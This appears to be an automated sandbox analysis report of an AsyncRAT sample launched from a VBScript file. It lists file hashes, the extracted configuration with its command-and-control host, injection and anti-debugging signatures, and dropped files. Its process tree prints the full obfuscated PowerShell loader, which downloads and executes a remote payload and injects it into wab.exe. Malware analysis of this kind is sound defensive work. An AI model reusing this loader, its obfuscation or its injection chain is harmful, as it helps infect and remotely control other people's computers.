asyncrat | ca073831a8671f0d5cc9f0149c43b58be3d92b4a7b5a39235b1547acd2e5de28

General

Target

windows.vbs
Size

897KB
MD5

5964d98cf06acef50055252add1acc74
SHA1

4fc5206d256394d7e6c9b3fb648bad6e0f714058
SHA256

ca073831a8671f0d5cc9f0149c43b58be3d92b4a7b5a39235b1547acd2e5de28
SHA512

9477633a7073c2753c1df75b6321d8d1b43158c83607e5f0fab69463fb67602eaae708b0c27c0087185cd46c90f9024ac4ded03a38cf91c8154cc771c9a3d29a
SSDEEP

12288:qzTzUyR7hSRac+qkLmttaGgMskgqoiMHsp9NH:UXh+k+taGKqoJONH

Score

10^/10

asyncrat default rat

Malware Config

Extracted

Family

asyncrat

Version

0.5.7B

Botnet

Default

C2

dhhj.duckdns.org:8797

Mutex

AsyncMutex_6SI8OkPnk

Attributes

delay
3
install
false
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Blocklisted process makes network request 5 IoCs

Processes:

powershell.exe

flow pid process

5 2552 powershell.exe
7 2552 powershell.exe
9 2552 powershell.exe
11 2552 powershell.exe
13 2552 powershell.exe
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

Processes:

wab.exe

pid process

2792 wab.exe
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

Processes:

powershell.exewab.exe

pid process

2976 powershell.exe
2792 wab.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 2976 set thread context of 2792 2976 powershell.exe wab.exe
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exepowershell.exe

pid process

2552 powershell.exe
2976 powershell.exe
2976 powershell.exe
Suspicious behavior: MapViewOfSection 1 IoCs

Processes:

powershell.exe

pid process

2976 powershell.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

powershell.exepowershell.exewab.exe

description pid process

Token: SeDebugPrivilege 2552 powershell.exe
Token: SeDebugPrivilege 2976 powershell.exe
Token: SeDebugPrivilege 2792 wab.exe

flow	pid	process
5	2552	powershell.exe
7	2552	powershell.exe
9	2552	powershell.exe
11	2552	powershell.exe
13	2552	powershell.exe

pid	process
2792	wab.exe

pid	process
2976	powershell.exe
2792	wab.exe

description	pid	process	target process
PID 2976 set thread context of 2792	2976	powershell.exe	wab.exe

pid	process
2552	powershell.exe
2976	powershell.exe
2976	powershell.exe

pid	process
2976	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2552	powershell.exe
Token: SeDebugPrivilege	2976	powershell.exe
Token: SeDebugPrivilege	2792	wab.exe

Suspicious use of WriteProcessMemory 20 IoCs

Processes:

WScript.exepowershell.exepowershell.exe

description	pid	process	target process
PID 2320 wrote to memory of 2552	2320	WScript.exe	powershell.exe
PID 2320 wrote to memory of 2552	2320	WScript.exe	powershell.exe
PID 2320 wrote to memory of 2552	2320	WScript.exe	powershell.exe
PID 2552 wrote to memory of 2548	2552	powershell.exe	cmd.exe
PID 2552 wrote to memory of 2548	2552	powershell.exe	cmd.exe
PID 2552 wrote to memory of 2548	2552	powershell.exe	cmd.exe
PID 2552 wrote to memory of 2976	2552	powershell.exe	powershell.exe
PID 2552 wrote to memory of 2976	2552	powershell.exe	powershell.exe
PID 2552 wrote to memory of 2976	2552	powershell.exe	powershell.exe
PID 2552 wrote to memory of 2976	2552	powershell.exe	powershell.exe
PID 2976 wrote to memory of 1980	2976	powershell.exe	cmd.exe
PID 2976 wrote to memory of 1980	2976	powershell.exe	cmd.exe
PID 2976 wrote to memory of 1980	2976	powershell.exe	cmd.exe
PID 2976 wrote to memory of 1980	2976	powershell.exe	cmd.exe
PID 2976 wrote to memory of 2792	2976	powershell.exe	wab.exe
PID 2976 wrote to memory of 2792	2976	powershell.exe	wab.exe
PID 2976 wrote to memory of 2792	2976	powershell.exe	wab.exe
PID 2976 wrote to memory of 2792	2976	powershell.exe	wab.exe
PID 2976 wrote to memory of 2792	2976	powershell.exe	wab.exe
PID 2976 wrote to memory of 2792	2976	powershell.exe	wab.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\windows.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2320
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Retrofleksion = 1;$Bambustppets='Sub';$Bambustppets+='strin';$Bambustppets+='g';Function Konomigruppens($Morbror){$retablerings=$Morbror.Length-$Retrofleksion;For($Upaaagtet=5;$Upaaagtet -lt $retablerings;$Upaaagtet+=6){$ubehersket+=$Morbror.$Bambustppets.Invoke( $Upaaagtet, $Retrofleksion);}$ubehersket;}function Spinatens($Solskinsvejrets){& ($Vaivode) ($Solskinsvejrets);}$Logometrical=Konomigruppens ' OutpM SawmoBrug.zHemo,i Pe hl oncelLy phaHyper/Turis5S.aan. So.i0Assem Unexp(Ta reWforduiSmaasnToprodInsatoU.ennwAfva.s Per, PropNIde,lT Tilr Velpl1Bonus0Af.an. Ar,e0Sekre;Angst TelefWPseudiF rmin i,gr6Syges4Spino;Ritr, Amtslx Sel 6 Mass4 Bili;Ath n Ref.rTrykkvNon.u: Prci1Pro e2tra.d1ramle.Marmo0Miljf) sans DiantGUsseleFlyt.cBraktkHalvdoS,yre/Brems2Darkh0Lob,y1Recre0Eg,et0Smerg1Tidsh0 Pheo1Amatr synteFNorm,i LaanrHydraeFlskefUndlioLogfix Skem/W.bst1 Li,i2Unlik1Frihe.Demen0Inequ ';$Shroffs150=Konomigruppens 'UngeoU Snoos LgemeCaffarUfors-MegapAEnspogapocaeFortrnBloketAfste ';$Hreapparats=Konomigruppens 'DaltohGu.ertUndertReserpFu.ktsD.tai:Atry./alvil/Permaw SurpwC tupwRutte.D,adcs NanieArthrnBeefidbukkes.tyrepPorteapr.coc Feu e ,nti.EjakucNonproS.andm.okol/U.mopp,nkvir Kapio Maal/AnimedJimigl Elox/Rmn,ngLof s2R,gnsj ExtrsKo.ve9Udrev1Fuldm ';$Valenser=Konomigruppens 'O.dre>,nees ';$Vaivode=Konomigruppens 'FluidiEle.ieGratux inte ';$Annulusesosaurus='Fletch';$Annuluses = Konomigruppens 'UdmuneNo,thcFeu.ahsoftwoGrunt Horo%CobolaCystopSer ip VegedFrskhaA.okatDishuaUninw%Post,\Brak k ideaStocknTrocatAleatoMultinForesn S.ileHardwmS mimee,tusn ka,stSkke,eBeanbrFremmsK beh.MisprR.emmaeWo,llp Anre O,rin&Klist& Wild ForefeG,mnacRecr.hovergo We.t PhilatPanto ';Spinatens (Konomigruppens 'Psykt$ MoragLoddelProgroR,ddeb KresaForpalallay:BackhT Parie IntekMikadsFlount BlaalStikksopslinRampoiEp.cen PromgK,ple=S lin(Slidlc nhabmAfskrdAsm,n Er,th/BanagcUdskl Rente$ udlAGodtfncoumanS.ovrulogoclUnex.uRynkesHaulseCop.os H,em) Croj ');Spinatens (Konomigruppens 'Abio.$Villag Moskl,aguno ,rkebSkrifaEscallDibst:ForetaOst ofSteinbUnsaplMygaleDatamgSeque=,pora$ DataHB blirDksskeUngr,aTilslpUnferpHy,eraDiffrrGalopa Pe ftbrneps ett. wan.sTranspD.odelBa,kkiSubert Butt(Bevge$AsterVrelataW.nnilRovdrePyramn teiss Bacte ro,lrSeism) O,ra ');$Hreapparats=$afbleg[0];$Dumpingprisen= (Konomigruppens 'Hogma$Trykng ,ngilBrndtoUgr,sbUnproa.rzrulSkint:KerneB E fliHijacdReprorGldelabeboegOrbicy In.edKn,cke KrlirDi,kinMinuteHjdessAfdel=,rassNDollyeFoliewPluvi- .iltOBortlbHovedjslagte stuecMod,rt .nne G.undSNonsoy .imbsUnregtddsaaeT.riamArist.Er ndNKej,eeAfslatAndro.knsliWS.atie TheebInd.kC .ovel,igroiTornaeRevelnToldat');$Dumpingprisen+=$Tekstlsning[1];Spinatens ($Dumpingprisen);Spinatens (Konomigruppens '.ppre$.alteBS.arbiban ld athrr DebaaAflirg ormaytriumdSuspee WitnrOver.nAutumeRegnssExhib. WaldHC.iffeAporoapreacd romueCo.terMonatsB,gen[Urneg$DenudS,jernhFlugtr SkivoFlytnfprogrfDrypnsSubje1Myrme5 Lini0 Kari]Anti,=So.od$DukkeL SaucoUnexpgImpuloSaa rmOpinieFred,tPoul.rEburniRaavacJe,osa KramlGenne ');$Lokalernes=Konomigruppens 'Udelt$VerkrBgusheiDy,frd NaturHoppeaVi ylgTillgyWhaledcylineFugtpr j stnSkul e BoxbsTrivi.TermiDLakrioopkalwGravinTjenel AffaoScholaFredsdC.esuFRu,oliH,logl RecaeUnnam(Bugfi$CentrHForsvrEnokpeSk.gga P,eapClavipTyskeaHawairAl,ehaSub etLynnesExcit,They $DokumEUnloafNannytStauneSvensrPach bVildne JesytArranaDaglilSignaiNomadnFejlrgDeste)Lufti ';$Efterbetaling=$Tekstlsning[0];Spinatens (Konomigruppens 'Fl ri$Ro lugB.omslStre oforkvbSaddlaSemillSmalf:TailsPSkylde,rydnnStifftth,mbaTyl ecreappa,statpCutlas Lousu ssul Sp.raTel urVarte=Acicu(PotamTHone eTich s Adeqt K gg-Bro.zPp lycaFinistKlipphEngob Omvis$Sam eEFrikafpube tSis,fe GennrS lksbFr gteS,rtkt LambatumbllEnestiTjr hnwoodwgToldp),maln ');while (!$Pentacapsular) {Spinatens (Konomigruppens 'Indf.$.limegVa.dilRegenoRovf.bO.vekaL,erul Beha:hyletOLat,evV.rdeeInforrClaritNosite centgTotipnFagsse AugunF.rvrdslgtseMlleh=Sexce$RoebetEpisirStorpuStv,oeKolon ') ;Spinatens $Lokalernes;Spinatens (Konomigruppens 'HagleSKar.ot.lanbaSubrirB.ttetly ch-Or.itSSplitl.agabeBieste cacap V.gi Flosk4 Tils ');Spinatens (Konomigruppens ' fid$Ca frgUnprelC,oiroordr,b Ex.uametrol,undk:CausaPW,dineise kn timetAdopta CorocBe reaIsomopBorges rmolu TabulSem,da ransrH,per=Bered(DagvoTUdplyeSkil.sScle tEnqui- Fr,sPPartiaUl.kktBaareh Rif, Macar$FlaskELnninfUnprot OrcheBruisr.illebA.tireSendetkotypaFunktlTuitiiBeachnCuritgSikke)Fortr ') ;Spinatens (Konomigruppens ' Or,n$Bal agK.arllBivogoFre.ebForgraTota lBjerg:Stor.P oriaPaakrtPr,syeRe.itn serotKo,cee Nonpr undanBaldrePri isWinal=Natur$Wa.legTaxwil .dlboCoa fb C rcaLrredlGudmo:ImbibCVenuloB usemkolonpFal.suPhototFestmeForesrTin.ep icisrEndolo ,ukkb.nderl ProveUpticmNonpreAntihrOutdwnSyvaaeGen,eshyp,z+Indsk+ fspn%Anony$Boltsa Fastf ConvbNo prlKvivaeSheikg.nnei.EtikecEfteroBreasuEugennBacketAntia ') ;$Hreapparats=$afbleg[$Patenternes];}$Personalhistoriers=309626;$Motiverings59=27930;Spinatens (Konomigruppens ' Sk,n$Con,igVirusl Munio yrobbAfproaKeefelE ico:BagklRSnowbeSchizt GunasTrooskForr rMast iClashvFlikfnL kkai,alernBarbagPiehos IlanrSttedeConsifBagf.o Ch.mrReunim I.pr Avls.=S ole VoldGUtryge B tttUpaal-,vertCRidgiom,tapn Uti tPilafeGlucon PaagtGataa Robot$SpndsEFattefHeltitOverreBlndrr d.nsbBasipeNgl.stRho baGrowelFru,tiBehagnTelexgGreen ');Spinatens (Konomigruppens ' Glis$Tor.eg.ensil PreaoMi,jab .ernaJaghilVi,er:DefekSUdspea Vesib BagwbHulkoaSchizt Pa.aiBrys c BeataAfg,nlChima Oakla= Hybr aive[stiliSNicolyByggesStamptContoeMortamSamme.evighCDev lo MuldnLeverv ,edbe ForerRumantSkate].eade: Heir:Cy.laFVidvir.xpenostivnmlaundB.udgea Run,sS.raseBuckt6Etymo4Jule S DeentApororInteriKriminMisfigAfstn(S ave$Cam zRCoasse spectAmylisCruzik ,estrPurpuiMoi tvCaustn Linci.ooidnObtrugFaradsCacatr T,abeBars fPaatroSantarBr,bemInkam)Penge ');Spinatens (Konomigruppens ' Bort$ChrisgKunstlUdvi oPremibFerieaSkulelslack:BallaFUdlevoCigarr.altua.lmuer skomg KonveMakullHftetsOrgane Elodr Sk.anuncone MaxisCoass2Over,4Paak 1 uksu Runni=.crit Vink[S.vanSAwastySupersDecentTrib,eslgtrmPneum. ecimT VidteRiv lx cirktOutre.Si,naESwagbnUng lcRetsfoAreoldMelaniMorianDysu.g Resc]Rosew:Archi: Ly.tA OverS A.coCP.ickIKonteIDesti.NutgrGDiseneFab,itVe,ruSEctr,tPitaurDrifti.redenPlancg Back( Kryd$QuinqSkrigsa CarbbNyhedb.emeda PolotPe,tliBrne cUnelea Fo,bl Hapu) Hy.o ');Spinatens (Konomigruppens 'Melan$SociagRatifl AfwioR.nkeb VandaF dhvl Plai: MyceU B,sknFilkowItacoaStabetFladecSwifth StokfKlenau avel rupinVanniekon.rsOttetsafsme= den$ SsonFOpfrso FerrrEtwita YderrFev rgDys.deCataclFlammsFerrie EpisrSej in arreUnmetsTrian2Unass4Tegne1Bison.DroitsSoneduMiracbBuksesawanhtProhyrSt,rmiTilbjnHurragBrugb(Rnneb$ ekrePGartnes,licrPyrogs SamtoMas rnVisc aPlanslRefurhLe.meiO,stdsErecht,odkeoUnderrMatchiSubdue DelerGr sbsPalma,Runds$Evig,MVandsoSka,ntExtusiFunktvPanegeSlikkrtra.siUretmnGtevigPostvsinstr5 Afla9Sandk)Floor ');Spinatens $Unwatchfulness;"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2552
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "echo %appdata%\kantonnementers.Rep && echo t"
    3⤵
    PID:2548
- - C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Retrofleksion = 1;$Bambustppets='Sub';$Bambustppets+='strin';$Bambustppets+='g';Function Konomigruppens($Morbror){$retablerings=$Morbror.Length-$Retrofleksion;For($Upaaagtet=5;$Upaaagtet -lt $retablerings;$Upaaagtet+=6){$ubehersket+=$Morbror.$Bambustppets.Invoke( $Upaaagtet, $Retrofleksion);}$ubehersket;}function Spinatens($Solskinsvejrets){& ($Vaivode) ($Solskinsvejrets);}$Logometrical=Konomigruppens ' OutpM SawmoBrug.zHemo,i Pe hl oncelLy phaHyper/Turis5S.aan. So.i0Assem Unexp(Ta reWforduiSmaasnToprodInsatoU.ennwAfva.s Per, PropNIde,lT Tilr Velpl1Bonus0Af.an. Ar,e0Sekre;Angst TelefWPseudiF rmin i,gr6Syges4Spino;Ritr, Amtslx Sel 6 Mass4 Bili;Ath n Ref.rTrykkvNon.u: Prci1Pro e2tra.d1ramle.Marmo0Miljf) sans DiantGUsseleFlyt.cBraktkHalvdoS,yre/Brems2Darkh0Lob,y1Recre0Eg,et0Smerg1Tidsh0 Pheo1Amatr synteFNorm,i LaanrHydraeFlskefUndlioLogfix Skem/W.bst1 Li,i2Unlik1Frihe.Demen0Inequ ';$Shroffs150=Konomigruppens 'UngeoU Snoos LgemeCaffarUfors-MegapAEnspogapocaeFortrnBloketAfste ';$Hreapparats=Konomigruppens 'DaltohGu.ertUndertReserpFu.ktsD.tai:Atry./alvil/Permaw SurpwC tupwRutte.D,adcs NanieArthrnBeefidbukkes.tyrepPorteapr.coc Feu e ,nti.EjakucNonproS.andm.okol/U.mopp,nkvir Kapio Maal/AnimedJimigl Elox/Rmn,ngLof s2R,gnsj ExtrsKo.ve9Udrev1Fuldm ';$Valenser=Konomigruppens 'O.dre>,nees ';$Vaivode=Konomigruppens 'FluidiEle.ieGratux inte ';$Annulusesosaurus='Fletch';$Annuluses = Konomigruppens 'UdmuneNo,thcFeu.ahsoftwoGrunt Horo%CobolaCystopSer ip VegedFrskhaA.okatDishuaUninw%Post,\Brak k ideaStocknTrocatAleatoMultinForesn S.ileHardwmS mimee,tusn ka,stSkke,eBeanbrFremmsK beh.MisprR.emmaeWo,llp Anre O,rin&Klist& Wild ForefeG,mnacRecr.hovergo We.t PhilatPanto ';Spinatens (Konomigruppens 'Psykt$ MoragLoddelProgroR,ddeb KresaForpalallay:BackhT Parie IntekMikadsFlount BlaalStikksopslinRampoiEp.cen PromgK,ple=S lin(Slidlc nhabmAfskrdAsm,n Er,th/BanagcUdskl Rente$ udlAGodtfncoumanS.ovrulogoclUnex.uRynkesHaulseCop.os H,em) Croj ');Spinatens (Konomigruppens 'Abio.$Villag Moskl,aguno ,rkebSkrifaEscallDibst:ForetaOst ofSteinbUnsaplMygaleDatamgSeque=,pora$ DataHB blirDksskeUngr,aTilslpUnferpHy,eraDiffrrGalopa Pe ftbrneps ett. wan.sTranspD.odelBa,kkiSubert Butt(Bevge$AsterVrelataW.nnilRovdrePyramn teiss Bacte ro,lrSeism) O,ra ');$Hreapparats=$afbleg[0];$Dumpingprisen= (Konomigruppens 'Hogma$Trykng ,ngilBrndtoUgr,sbUnproa.rzrulSkint:KerneB E fliHijacdReprorGldelabeboegOrbicy In.edKn,cke KrlirDi,kinMinuteHjdessAfdel=,rassNDollyeFoliewPluvi- .iltOBortlbHovedjslagte stuecMod,rt .nne G.undSNonsoy .imbsUnregtddsaaeT.riamArist.Er ndNKej,eeAfslatAndro.knsliWS.atie TheebInd.kC .ovel,igroiTornaeRevelnToldat');$Dumpingprisen+=$Tekstlsning[1];Spinatens ($Dumpingprisen);Spinatens (Konomigruppens '.ppre$.alteBS.arbiban ld athrr DebaaAflirg ormaytriumdSuspee WitnrOver.nAutumeRegnssExhib. WaldHC.iffeAporoapreacd romueCo.terMonatsB,gen[Urneg$DenudS,jernhFlugtr SkivoFlytnfprogrfDrypnsSubje1Myrme5 Lini0 Kari]Anti,=So.od$DukkeL SaucoUnexpgImpuloSaa rmOpinieFred,tPoul.rEburniRaavacJe,osa KramlGenne ');$Lokalernes=Konomigruppens 'Udelt$VerkrBgusheiDy,frd NaturHoppeaVi ylgTillgyWhaledcylineFugtpr j stnSkul e BoxbsTrivi.TermiDLakrioopkalwGravinTjenel AffaoScholaFredsdC.esuFRu,oliH,logl RecaeUnnam(Bugfi$CentrHForsvrEnokpeSk.gga P,eapClavipTyskeaHawairAl,ehaSub etLynnesExcit,They $DokumEUnloafNannytStauneSvensrPach bVildne JesytArranaDaglilSignaiNomadnFejlrgDeste)Lufti ';$Efterbetaling=$Tekstlsning[0];Spinatens (Konomigruppens 'Fl ri$Ro lugB.omslStre oforkvbSaddlaSemillSmalf:TailsPSkylde,rydnnStifftth,mbaTyl ecreappa,statpCutlas Lousu ssul Sp.raTel urVarte=Acicu(PotamTHone eTich s Adeqt K gg-Bro.zPp lycaFinistKlipphEngob Omvis$Sam eEFrikafpube tSis,fe GennrS lksbFr gteS,rtkt LambatumbllEnestiTjr hnwoodwgToldp),maln ');while (!$Pentacapsular) {Spinatens (Konomigruppens 'Indf.$.limegVa.dilRegenoRovf.bO.vekaL,erul Beha:hyletOLat,evV.rdeeInforrClaritNosite centgTotipnFagsse AugunF.rvrdslgtseMlleh=Sexce$RoebetEpisirStorpuStv,oeKolon ') ;Spinatens $Lokalernes;Spinatens (Konomigruppens 'HagleSKar.ot.lanbaSubrirB.ttetly ch-Or.itSSplitl.agabeBieste cacap V.gi Flosk4 Tils ');Spinatens (Konomigruppens ' fid$Ca frgUnprelC,oiroordr,b Ex.uametrol,undk:CausaPW,dineise kn timetAdopta CorocBe reaIsomopBorges rmolu TabulSem,da ransrH,per=Bered(DagvoTUdplyeSkil.sScle tEnqui- Fr,sPPartiaUl.kktBaareh Rif, Macar$FlaskELnninfUnprot OrcheBruisr.illebA.tireSendetkotypaFunktlTuitiiBeachnCuritgSikke)Fortr ') ;Spinatens (Konomigruppens ' Or,n$Bal agK.arllBivogoFre.ebForgraTota lBjerg:Stor.P oriaPaakrtPr,syeRe.itn serotKo,cee Nonpr undanBaldrePri isWinal=Natur$Wa.legTaxwil .dlboCoa fb C rcaLrredlGudmo:ImbibCVenuloB usemkolonpFal.suPhototFestmeForesrTin.ep icisrEndolo ,ukkb.nderl ProveUpticmNonpreAntihrOutdwnSyvaaeGen,eshyp,z+Indsk+ fspn%Anony$Boltsa Fastf ConvbNo prlKvivaeSheikg.nnei.EtikecEfteroBreasuEugennBacketAntia ') ;$Hreapparats=$afbleg[$Patenternes];}$Personalhistoriers=309626;$Motiverings59=27930;Spinatens (Konomigruppens ' Sk,n$Con,igVirusl Munio yrobbAfproaKeefelE ico:BagklRSnowbeSchizt GunasTrooskForr rMast iClashvFlikfnL kkai,alernBarbagPiehos IlanrSttedeConsifBagf.o Ch.mrReunim I.pr Avls.=S ole VoldGUtryge B tttUpaal-,vertCRidgiom,tapn Uti tPilafeGlucon PaagtGataa Robot$SpndsEFattefHeltitOverreBlndrr d.nsbBasipeNgl.stRho baGrowelFru,tiBehagnTelexgGreen ');Spinatens (Konomigruppens ' Glis$Tor.eg.ensil PreaoMi,jab .ernaJaghilVi,er:DefekSUdspea Vesib BagwbHulkoaSchizt Pa.aiBrys c BeataAfg,nlChima Oakla= Hybr aive[stiliSNicolyByggesStamptContoeMortamSamme.evighCDev lo MuldnLeverv ,edbe ForerRumantSkate].eade: Heir:Cy.laFVidvir.xpenostivnmlaundB.udgea Run,sS.raseBuckt6Etymo4Jule S DeentApororInteriKriminMisfigAfstn(S ave$Cam zRCoasse spectAmylisCruzik ,estrPurpuiMoi tvCaustn Linci.ooidnObtrugFaradsCacatr T,abeBars fPaatroSantarBr,bemInkam)Penge ');Spinatens (Konomigruppens ' Bort$ChrisgKunstlUdvi oPremibFerieaSkulelslack:BallaFUdlevoCigarr.altua.lmuer skomg KonveMakullHftetsOrgane Elodr Sk.anuncone MaxisCoass2Over,4Paak 1 uksu Runni=.crit Vink[S.vanSAwastySupersDecentTrib,eslgtrmPneum. ecimT VidteRiv lx cirktOutre.Si,naESwagbnUng lcRetsfoAreoldMelaniMorianDysu.g Resc]Rosew:Archi: Ly.tA OverS A.coCP.ickIKonteIDesti.NutgrGDiseneFab,itVe,ruSEctr,tPitaurDrifti.redenPlancg Back( Kryd$QuinqSkrigsa CarbbNyhedb.emeda PolotPe,tliBrne cUnelea Fo,bl Hapu) Hy.o ');Spinatens (Konomigruppens 'Melan$SociagRatifl AfwioR.nkeb VandaF dhvl Plai: MyceU B,sknFilkowItacoaStabetFladecSwifth StokfKlenau avel rupinVanniekon.rsOttetsafsme= den$ SsonFOpfrso FerrrEtwita YderrFev rgDys.deCataclFlammsFerrie EpisrSej in arreUnmetsTrian2Unass4Tegne1Bison.DroitsSoneduMiracbBuksesawanhtProhyrSt,rmiTilbjnHurragBrugb(Rnneb$ ekrePGartnes,licrPyrogs SamtoMas rnVisc aPlanslRefurhLe.meiO,stdsErecht,odkeoUnderrMatchiSubdue DelerGr sbsPalma,Runds$Evig,MVandsoSka,ntExtusiFunktvPanegeSlikkrtra.siUretmnGtevigPostvsinstr5 Afla9Sandk)Floor ');Spinatens $Unwatchfulness;"
    3⤵
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2976
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "echo %appdata%\kantonnementers.Rep && echo t"
      4⤵
      PID:1980
  - - C:\Program Files (x86)\windows mail\wab.exe
      "C:\Program Files (x86)\windows mail\wab.exe"
      4⤵
      Suspicious use of NtCreateThreadExHideFromDebugger
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Suspicious use of AdjustPrivilegeToken
      PID:2792

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015

Filesize
68KB

MD5
29f65ba8e88c063813cc50a4ea544e93

SHA1
05a7040d5c127e68c25d81cc51271ffb8bef3568

SHA256
1ed81fa8dfb6999a9fedc6e779138ffd99568992e22d300acd181a6d2c8de184

SHA512
e29b2e92c496245bed3372578074407e8ef8882906ce10c35b3c8deebfefe01b5fd7f3030acaa693e175f4b7aca6cd7d8d10ae1c731b09c5fa19035e005de3aa

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
1869ca778bc0c512e1559487806ef565

SHA1
16a5188d27e4d5f9fd0051346fd385c985188f7a

SHA256
ee21fbb5114110b02e2dbbe0af95488b3cf7cdc9fb169d4ef5928ee613453ee2

SHA512
20a03afe1eb66d3d1297f7bcc36baab60aef7a24ce5d91cab85887715dd372f080a2b02340798a59825453a58ccae321b543007f496b6397917cda56aef1ba90

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar6149.tmp

Filesize
177KB

MD5
435a9ac180383f9fa094131b173a2f7b

SHA1
76944ea657a9db94f9a4bef38f88c46ed4166983

SHA256
67dc37ed50b8e63272b49a254a6039ee225974f1d767bb83eb1fd80e759a7c34

SHA512
1a6b277611959720a9c71114957620517ad94541302f164eb872bd322292a952409bafb8bc2ac793b16ad5f25d83f8594ccff2b7834e3c2b2b941e6fc84c009a

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\HMLPL59KZ2KB1U78ATRZ.temp

Filesize
7KB

MD5
170051010b6c6103584ba717af1dfc56

SHA1
08f293941402a1ede6d7c890bed6aecea32fa4a7

SHA256
ffd2f0ea17732e8707e687f2b85677a5cdadaa2ebe8d65eb8ff5b136257945af

SHA512
0990c5b3e93dfedd82a238c5b808bfaf52e86fb2b5d5fc1398e8b15e2e51ad0d9153f15babca8f70c013b2f71fccc71cf8c377bec3816af1ad045d8b9f8b62ab

Download Submit
C:\Users\Admin\AppData\Roaming\kantonnementers.Rep

Filesize
439KB

MD5
54cf091a3bc7cf004b14df5a70f13d1e

SHA1
67a132607bb94fccb4024b97718b0bd41d7004ca

SHA256
b9bde21759f81a0ffb7ebf57b131a553e39af00af68fc933c18ced6e0dd89d69

SHA512
651957938fcfe6a627d6b55b521b879b2eb8ebf7a84a91025fa444c14940259ac5ed7ac0a03d9daec845531b4cac87e6709c2266919eebdbb3a292045af21a6c

Download Submit
memory/2552-54-0x000007FEF5E20000-0x000007FEF67BD000-memory.dmp

Filesize
9.6MB

Download
memory/2552-6-0x0000000001E70000-0x0000000001E78000-memory.dmp

Filesize
32KB

Download
memory/2552-11-0x000007FEF5E20000-0x000007FEF67BD000-memory.dmp

Filesize
9.6MB

Download
memory/2552-9-0x000007FEF5E20000-0x000007FEF67BD000-memory.dmp

Filesize
9.6MB

Download
memory/2552-8-0x000007FEF5E20000-0x000007FEF67BD000-memory.dmp

Filesize
9.6MB

Download
memory/2552-4-0x000007FEF60DE000-0x000007FEF60DF000-memory.dmp

Filesize
4KB

Download
memory/2552-7-0x000007FEF5E20000-0x000007FEF67BD000-memory.dmp

Filesize
9.6MB

Download
memory/2552-10-0x000007FEF5E20000-0x000007FEF67BD000-memory.dmp

Filesize
9.6MB

Download
memory/2552-59-0x000007FEF60DE000-0x000007FEF60DF000-memory.dmp

Filesize
4KB

Download
memory/2552-60-0x000007FEF5E20000-0x000007FEF67BD000-memory.dmp

Filesize
9.6MB

Download
memory/2552-90-0x000007FEF5E20000-0x000007FEF67BD000-memory.dmp

Filesize
9.6MB

Download
memory/2552-5-0x000000001B650000-0x000000001B932000-memory.dmp

Filesize
2.9MB

Download
memory/2792-89-0x0000000000420000-0x0000000001482000-memory.dmp

Filesize
16.4MB

Download
memory/2792-91-0x0000000000420000-0x0000000000432000-memory.dmp

Filesize
72KB

Download
memory/2976-61-0x0000000006510000-0x0000000008146000-memory.dmp

Filesize
28.2MB

Download

Analysis

Sharing